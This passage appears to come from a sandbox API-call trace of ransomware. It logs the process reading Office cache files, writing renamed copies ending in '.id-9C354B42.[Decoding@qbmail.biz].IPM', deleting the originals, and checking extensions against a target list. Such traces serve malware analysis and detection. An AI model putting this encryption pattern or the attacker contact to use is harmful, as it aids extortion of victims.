nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x91975, lpOverlapped=0x0) returned 1 [0074.049] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x91980, lpOverlapped=0x0) returned 1 [0074.882] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0074.882] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0074.882] SetEndOfFile (hFile=0x1ec) returned 1 [0074.882] CloseHandle (hObject=0x1ec) returned 1 [0074.892] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.892] SetEndOfFile (hFile=0x208) returned 1 [0074.903] CloseHandle (hObject=0x208) returned 1 [0074.903] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0074.903] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0074.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.939] lstrlenW (lpString=".doc") returned 4 [0074.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.939] lstrlenW (lpString=".docx") returned 5 [0074.939] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0074.939] lstrlenW (lpString=".pdf") returned 4 [0074.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.939] lstrlenW (lpString=".xls") returned 4 [0074.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.939] lstrlenW (lpString=".xlsx") returned 5 [0074.939] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0074.939] lstrlenW (lpString=".ppt") returned 4 [0074.940] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.940] lstrlenW (lpString=".zip") returned 4 [0074.940] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.940] lstrlenW (lpString=".rar") returned 4 [0074.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.940] lstrlenW (lpString=".bz2") returned 4 [0074.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.940] lstrlenW (lpString=".7z") returned 3 [0074.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.940] lstrlenW (lpString=".dbf") returned 4 [0074.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.940] lstrlenW (lpString=".1cd") returned 4 [0074.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.940] lstrlenW (lpString=".jpg") returned 4 [0074.940] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.941] lstrlenW (lpString=".doc") returned 4 [0074.941] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString=".docx") returned 5 [0074.941] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0074.941] lstrlenW (lpString=".pdf") returned 4 [0074.941] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString=".xls") returned 4 [0074.941] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString=".xlsx") returned 5 [0074.941] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0074.941] lstrlenW (lpString=".ppt") returned 4 [0074.941] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.941] lstrlenW (lpString=".zip") returned 4 [0074.941] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.941] lstrlenW (lpString=".rar") returned 4 [0074.941] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString=".bz2") returned 4 [0074.941] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.941] lstrlenW (lpString=".7z") returned 3 [0074.942] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.942] lstrlenW (lpString=".dbf") returned 4 [0074.942] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.942] lstrlenW (lpString=".1cd") returned 4 [0074.942] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0074.942] lstrlenW (lpString=".jpg") returned 4 [0074.942] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.942] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.942] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0074.943] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.645] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=16852) returned 1 [0076.645] CloseHandle (hObject=0x208) returned 1 [0076.645] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0076.645] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.646] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.646] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0076.646] GetLastError () returned 0x0 [0076.647] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x41d4, lpOverlapped=0x0) returned 1 [0076.650] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0076.652] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.653] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0076.653] SetEndOfFile (hFile=0x1ec) returned 1 [0076.653] CloseHandle (hObject=0x1ec) returned 1 [0076.654] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.655] SetEndOfFile (hFile=0x208) returned 1 [0076.657] CloseHandle (hObject=0x208) returned 1 [0076.657] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0076.657] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0076.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.658] lstrlenW (lpString=".doc") returned 4 [0076.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.658] lstrlenW (lpString=".docx") returned 5 [0076.658] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0076.658] lstrlenW (lpString=".pdf") returned 4 [0076.658] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.658] lstrlenW (lpString=".xls") returned 4 [0076.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.658] lstrlenW (lpString=".xlsx") returned 5 [0076.658] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0076.659] lstrlenW (lpString=".ppt") returned 4 [0076.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.659] lstrlenW (lpString=".zip") returned 4 [0076.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.659] lstrlenW (lpString=".rar") returned 4 [0076.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.659] lstrlenW (lpString=".bz2") returned 4 [0076.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.659] lstrlenW (lpString=".7z") returned 3 [0076.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.659] lstrlenW (lpString=".dbf") returned 4 [0076.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.659] lstrlenW (lpString=".1cd") returned 4 [0076.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.659] lstrlenW (lpString=".jpg") returned 4 [0076.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.660] lstrlenW (lpString=".doc") returned 4 [0076.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.660] lstrlenW (lpString=".docx") returned 5 [0076.660] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0076.660] lstrlenW (lpString=".pdf") returned 4 [0076.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.660] lstrlenW (lpString=".xls") returned 4 [0076.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.660] lstrlenW (lpString=".xlsx") returned 5 [0076.660] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0076.660] lstrlenW (lpString=".ppt") returned 4 [0076.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.660] lstrlenW (lpString=".zip") returned 4 [0076.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.660] lstrlenW (lpString=".rar") returned 4 [0076.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.660] lstrlenW (lpString=".bz2") returned 4 [0076.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.661] lstrlenW (lpString=".7z") returned 3 [0076.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.661] lstrlenW (lpString=".dbf") returned 4 [0076.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.661] lstrlenW (lpString=".1cd") returned 4 [0076.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0076.661] lstrlenW (lpString=".jpg") returned 4 [0076.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.661] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0076.661] lstrlenW (lpString="Office32WW.xml") returned 14 [0076.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.664] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=4274) returned 1 [0076.664] CloseHandle (hObject=0x208) returned 1 [0076.664] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0076.664] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.664] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.664] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0076.665] GetLastError () returned 0x0 [0076.665] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x10b2, lpOverlapped=0x0) returned 1 [0076.669] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0076.671] ReadFile (in: hFile=0x208, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.671] WriteFile (in: hFile=0x1ec, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0076.671] SetEndOfFile (hFile=0x1ec) returned 1 [0076.671] CloseHandle (hObject=0x1ec) returned 1 [0076.672] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.672] SetEndOfFile (hFile=0x208) returned 1 [0076.675] CloseHandle (hObject=0x208) returned 1 [0076.675] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0076.675] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0076.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.676] lstrlenW (lpString=".doc") returned 4 [0076.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.676] lstrlenW (lpString=".docx") returned 5 [0076.676] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0076.676] lstrlenW (lpString=".pdf") returned 4 [0076.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.676] lstrlenW (lpString=".xls") returned 4 [0076.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.676] lstrlenW (lpString=".xlsx") returned 5 [0076.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0076.676] lstrlenW (lpString=".ppt") returned 4 [0076.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.677] lstrlenW (lpString=".zip") returned 4 [0076.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.677] lstrlenW (lpString=".rar") returned 4 [0076.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.677] lstrlenW (lpString=".bz2") returned 4 [0076.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.677] lstrlenW (lpString=".7z") returned 3 [0076.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.677] lstrlenW (lpString=".dbf") returned 4 [0076.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.677] lstrlenW (lpString=".1cd") returned 4 [0076.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.677] lstrlenW (lpString=".jpg") returned 4 [0076.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.678] lstrlenW (lpString=".doc") returned 4 [0076.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.678] lstrlenW (lpString=".docx") returned 5 [0076.678] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0076.678] lstrlenW (lpString=".pdf") returned 4 [0076.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.678] lstrlenW (lpString=".xls") returned 4 [0076.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.678] lstrlenW (lpString=".xlsx") returned 5 [0076.678] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0076.678] lstrlenW (lpString=".ppt") returned 4 [0076.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.678] lstrlenW (lpString=".zip") returned 4 [0076.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.679] lstrlenW (lpString=".rar") returned 4 [0076.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.679] lstrlenW (lpString=".bz2") returned 4 [0076.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.679] lstrlenW (lpString=".7z") returned 3 [0076.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.679] lstrlenW (lpString=".dbf") returned 4 [0076.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.679] lstrlenW (lpString=".1cd") returned 4 [0076.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0076.679] lstrlenW (lpString=".jpg") returned 4 [0076.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.680] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0076.680] lstrlenW (lpString="Setup.xml") returned 9 [0076.680] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.680] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=20577) returned 1 [0076.681] CloseHandle (hObject=0x208) returned 1 [0076.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0076.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.681] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.681] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.681] CreateFileW (lpFileName="C:\\MSOCache\\All 